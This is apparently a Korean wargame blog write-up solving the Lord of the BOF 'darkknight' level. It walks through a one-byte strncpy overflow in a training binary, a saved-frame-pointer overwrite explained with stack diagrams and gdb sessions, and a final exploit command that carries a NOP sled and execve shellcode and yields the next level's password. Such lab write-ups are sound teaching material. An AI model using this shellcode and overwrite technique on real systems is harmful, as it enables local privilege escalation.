1. intro
2. code 및 분석
2.1 C code
/*
The Lord of the BOF : The Fellowship of the BOF
- darkknight
- FPO
*/
#include <stdio.h>
#include <stdlib.h>
void problem_child(char *src)
{
char buffer[40];
strncpy(buffer, src, 41);
printf("%s\n", buffer);
}
main(int argc, char *argv[])
{
if(argc<2){
printf("argv error\n");
exit(0);
}
problem_child(argv[1]);
}
2.3. 분석
2.3.1. assembler code (중요 부분)
argv[1]을 인자로 problem_child 함수를 실행한다.
0x8048490 <main+36>: mov 0xc(%ebp),%eax
0x8048493 <main+39>: add $0x4,%eax
0x8048496 <main+42>: mov (%eax),%edx
0x8048498 <main+44>: push %edx
0x8048499 <main+45>: call 0x8048440 <problem_child>
해당 함수 내에서는 argv[1]을 problem_child 내의 버퍼에 복사하는데, 0x28 bytes의 공간을 확보하고 0x29 bytes만 복사한다.
0x8048443 <problem_child+3>: sub $0x28,%esp
0x8048446 <problem_child+6>: push $0x29
0x8048448 <problem_child+8>: mov 0x8(%ebp),%eax
0x804844b <problem_child+11>: push %eax
0x804844c <problem_child+12>: lea 0xffffffd8(%ebp),%eax
0x804844f <problem_child+15>: push %eax
0x8048450 <problem_child+16>: call 0x8048374 <strncpy>
3. 취약점 확인 및 공격 준비
3.1 취약점
지금까지 했던 ret address 변조가 아닌 sfp 변조를 통한 공격이다.
ret address 변조는 함수가 종료되어 이전 함수로 되돌아가기 위한 주소가 담겨있다면
sfp는 이전 함수의 ebp 값을 담고 있다.
만일 sfp 변조가 가능하다면 이전 함수의 ebp를 변조하게되고, 이는 이전 함수로 돌아간 뒤 후속 흐름에 영향을 주게 된다.
3.2 공격 준비
취약점에 따라 다시 생각해보면 main 함수의 마지막에 problem_child 함수가 실행된다.
스택은 높은 주소에서 낮은 주소로 쌓이기에, 대략적으로 프로그램의 흐름에 따라 스택의 모양을 예상해보면
main 함수 실행 중
낮은 주소 |
main esp |
main buffer |
main ebp |
main ret |
높은 주소 |
와 같은 모양일 것이다.
이후 problem_child 함수로 들어가면 함수의 프롤로그와 같이
0x8048440 <problem_child>: push %ebp
0x8048441 <problem_child+1>: mov %esp,%ebp
로 인해 main 함수의 ebp를 stack에 저장하게 된다.
그러므로 stack의 모양은 아래와 같을 것이다.
낮은 주소 |
problem_child esp |
problem_child buffer |
problem_child sfp = problem_child |
problem_child ret = main sfp |
main esp |
main buffer |
main sfp = main ebp |
main ret |
높은 주소 |
그러므로 problem_child 함수의 ret address를 변조하면 main 함수를 돌아갈때 main 함수의 ebp가 변조되며, 변조된 주소 다음의 값을 ret address로 참조할 것이다.
실제로 시도해보면 아래와 같으며,
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/golem/darkknigha `python -c 'print "A"*0x30'`
/bin/bash2: /home/skeleton/.bashrc: Permission denied
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒▒5▒▒▒▒▒▒▒▒ @
Breakpoint 1, 0x8048469 in problem_child ()
(gdb) x/x $ebp
0xbffffacc: 0xbffffa41
(gdb) x/x $ebp+4
0xbffffad0: 0x0804849e
(gdb) x/x 0xbffffa41+4
0xbffffa45: 0x60401081
(gdb) ni #problem_child의 leave 실행.
0x804846a in problem_child ()
(gdb) si #problem_child의 ret 실행. 즉 main 함수로 되돌아옴.
0x804849e in main ()
(gdb) x/x $ebp
0xbffffa41: 0xec4000a7
(gdb) ni #main의 add $0x4,%esp 실행.
0x80484a1 in main ()
(gdb) ni #main의 leave 실행
0x80484a2 in main ()
(gdb) ni #main의 ret 실행
warning: Cannot insert breakpoint 0:
Cannot access memory at address 0x244000ae
(gdb) x/x $eip
0x60401081: Cannot access memory at address 0x60401081
main 함수 종료 시 0xbffffa41+4의 주소를 return address로 사용함을 알 수 있다.
현재 프로그램에서는 argv[1]의 크기에 대한 제약은 없으니 이를 이용해서 페이로드를 구성해보면
dummy 0x28 + 0xbffffa??에 넣을 1 byte + 적절한 dummy + shellcode
가 될 것이다.
대략 아래와 같이 값 전달 및 problem_child call 직후 0xbffffa00 위치부터 값을 보았더니 argv[1]의 위치를 찾을 수 있었다.
(gdb) b *main+53
Breakpoint 5 at 0x80484a1
(gdb) r `python -c 'print "A"*0x28 + "\xaa" + "\x90"*0x30 + "\x31\xc0\x89\xc2\x89\xc1\x50\x68\x70\x61\x73\x73\x68\x2f\x6d\x79\x2d\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"'`
Starting program: /home/golem/darkknigha `python -c 'print "A"*0x28 + "\xaa" + "\x90"*0x30 + "\x31\xc0\x89\xc2\x89\xc1\x50\x68\x70\x61\x73\x73\x68\x2f\x6d\x79\x2d\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"'`
/bin/bash2: /home/skeleton/.bashrc: Permission denied
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒▒▒▒▒▒▒▒▒▒▒▒ @
Breakpoint 5, 0x80484a1 in main ()
(gdb) x/40x 0xbffffa00
0xbffffa00: 0x4000a74e 0x401081ec 0x4000ae60 0xbffffae4
0xbffffa10: 0x400143e0 0x40021df0 0x401088c0 0x4002982c
0xbffffa20: 0x40021df0 0xbffffa54 0x4000a970 0xbffffc19
0xbffffa30: 0xbffffa8c 0x4005d920 0x400143e0 0xbffffa54
0xbffffa40: 0x40066070 0x40106980 0x08048500 0xbffffa64
0xbffffa50: 0x401081ec 0xbffffa8c 0x08048466 0x08048500
0xbffffa60: 0xbffffa64 0x41414141 0x41414141 0x41414141
0xbffffa70: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffa80: 0x41414141 0x41414141 0x41414141 0xbffffaaa
0xbffffa90: 0x0804849e 0xbffffbf0 0xbffffab8 0x400309cb
4. exploit
위 분석을 토대로 아래와 같이 시도하였다.
[golem@localhost golem]$ ./darkknigha `python -c 'print "A"*0x28 + "\x70" + "\x90"*0x30 + "\x31\xc0\x89\xc2\x89\xc1\x50\x68\x70\x61\x73\x73\x68\x2f\x6d\x79\x2d\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAp▒▒▒▒▒▒▒▒▒▒▒▒▒ @
Segmentation fault
[golem@localhost golem]$ ./darkknigha `python -c 'print "A"*0x28 + "\x80" + "\x90"*0x30 + "\x31\xc0\x89\xc2\x89\xc1\x50\x68\x70\x61\x73\x73\x68\x2f\x6d\x79\x2d\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒▒▒▒▒▒▒▒▒▒▒▒ @
Segmentation fault
[golem@localhost golem]$ ./darkknigha `python -c 'print "A"*0x28 + "\x90" + "\x90"*0x30 + "\x31\xc0\x89\xc2\x89\xc1\x50\x68\x70\x61\x73\x73\x68\x2f\x6d\x79\x2d\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒▒▒▒▒▒▒▒▒▒▒▒ @
euid = 511
cup of coffee
[golem@localhost golem]$ ./darkknight `python -c 'print "A"*0x28 + "\x90" + "\x90"*0x30 + "\x31\xc0\x89\xc2\x89\xc1\x50\x68\x70\x61\x73\x73\x68\x2f\x6d\x79\x2d\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒▒▒▒▒▒▒▒▒▒▒▒ @
euid = 512
new attacker
'Wargame > Hackerchool' 카테고리의 다른 글
[lob] bugbear -> giant (0) | 2022.09.15 |
---|---|
[lob] darkknight -> bugbear (0) | 2022.09.15 |
[lob] skeleton -> golem (0) | 2022.09.14 |
[lob] vampire -> skeleton (0) | 2022.09.13 |
[lob] troll -> vampire (0) | 2022.09.13 |